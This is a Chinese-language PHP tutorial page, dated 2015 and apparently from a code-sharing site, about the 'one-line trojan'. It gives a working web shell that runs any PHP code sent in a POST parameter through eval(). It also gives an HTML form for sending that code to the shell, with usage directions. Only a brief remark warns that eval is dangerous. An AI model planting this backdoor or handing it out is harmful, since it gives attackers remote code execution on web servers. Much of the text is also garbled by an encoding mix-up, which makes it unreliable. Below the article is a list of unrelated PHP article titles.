php eval函數(shù)一句話木馬代碼
更新時(shí)間：2015年05月21日 11:03:25 投稿：hebedich
這個(gè)是php常見的一句話木馬的源碼，通過post木馬程序來實(shí)現(xiàn)木馬的植入，eval()函數(shù)把字符串按照PHP代碼來計(jì)算。該字符串必須是合法的PHP代碼，且必須以分號(hào)結(jié)尾。如果沒有在代碼字符串中調(diào)用return語句，則返回NULL。如果代碼中存在解析錯(cuò)誤，則eval()函數(shù)返回false。
eval可以用來執(zhí)行任何其他php代碼，所以對(duì)于代碼里發(fā)現(xiàn)了eval函數(shù)一定要小心，可能是木馬
就這一句話害死人，這樣任何人都可以post任何文件上來，所以要做好防范
<?php @eval($_POST['c']);?>
使用方法也很簡(jiǎn)單，本地提交文件指向提交文件，里面的php代碼就會(huì)被執(zhí)行
<html> <body> <form action="a.php" method="post"> <input type="text" name="c" value="phpinfo();"> <input type="submit" value="submit"> </form> </body> </html>
以上所述就是本文的全部?jī)?nèi)容了，希望大家能夠喜歡。
相關(guān)文章
本篇文章是對(duì)判斷php數(shù)組維度的代碼進(jìn)行了詳細(xì)的分析介紹， 需要的朋友參考下2013-06-06
PHP實(shí)現(xiàn)通過Luhn算法校驗(yàn)信用卡卡號(hào)是否有效
這篇文章主要介紹了PHP實(shí)現(xiàn)通過Luhn算法校驗(yàn)信用卡卡號(hào)是否有效,實(shí)例分析了php實(shí)現(xiàn)Luhn算法及相關(guān)應(yīng)用技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-03-03
在實(shí)際項(xiàng)目或者自己編寫小工具(比如新聞聚合,商品價(jià)格監(jiān)控,比價(jià))的過程中, 通常需要從第3方網(wǎng)站或者API接口獲取數(shù)據(jù), 在需要處理1個(gè)URL隊(duì)列時(shí), 為了提高性能, 可以采用cURL提供的curl_multi_*族函數(shù)實(shí)現(xiàn)簡(jiǎn)單的并發(fā)2012-09-09
php實(shí)現(xiàn)執(zhí)行某一操作時(shí)彈出確認(rèn)、取消對(duì)話框
當(dāng)執(zhí)行某一操作比如確認(rèn)或者取消時(shí)如何彈出對(duì)話框，針對(duì)這個(gè)需求，下面使用php來實(shí)現(xiàn)下，感興趣的朋友不要錯(cuò)過2013-12-12
玩PHP玩了幾年了，在剛剛接觸PHP的時(shí)候感覺正則真的很洋氣，我想替換啥就替換啥。然而隨著工作的推移，漸漸對(duì)正則開發(fā)反感起來，正則的速度太慢了，而且特占內(nèi)存。在一個(gè)群里有個(gè)網(wǎng)友說，正則速度快，正則簡(jiǎn)單，正則開發(fā)效率高。我并沒有與他爭(zhēng)辯，因?yàn)槲覄倓傋鯬HP的時(shí)候也是這樣的想法。但是正則真的那么好嗎？2008-03-03
PHP實(shí)現(xiàn)惡意DDOS攻擊避免帶寬占用問題方法
這篇文章主要介紹了PHP實(shí)現(xiàn)惡意DDOS攻擊避免帶寬占用問題方法,本文介紹的是一個(gè)簡(jiǎn)單方法,需要的朋友可以參考下2015-05-05
CentOS7系統(tǒng)搭建LAMP及更新PHP版本操作詳解
這篇文章主要介紹了CentOS7系統(tǒng)搭建LAMP及更新PHP版本操作,總結(jié)分析了CentOS7系統(tǒng)搭建LAMP及更新PHP版本操作相關(guān)原理、步驟、操作命令與注意事項(xiàng),需要的朋友可以參考下2020-03-03
php中ob(Output Buffer 輸出緩沖)函數(shù)使用方法
php中ob(Output Buffer 輸出緩沖)函數(shù)使用方法...2007-07-07
PHP無刷新上傳文件實(shí)現(xiàn)代碼，使用php的朋友可以參考下。2011-09-09
PHP實(shí)現(xiàn)獲取第一個(gè)中文首字母并進(jìn)行排序的方法
這篇文章主要介紹了PHP實(shí)現(xiàn)獲取第一個(gè)中文首字母并進(jìn)行排序的方法,涉及php數(shù)組遍歷、編碼轉(zhuǎn)換及數(shù)組排序相關(guān)操作技巧,需要的朋友可以參考下2017-05-05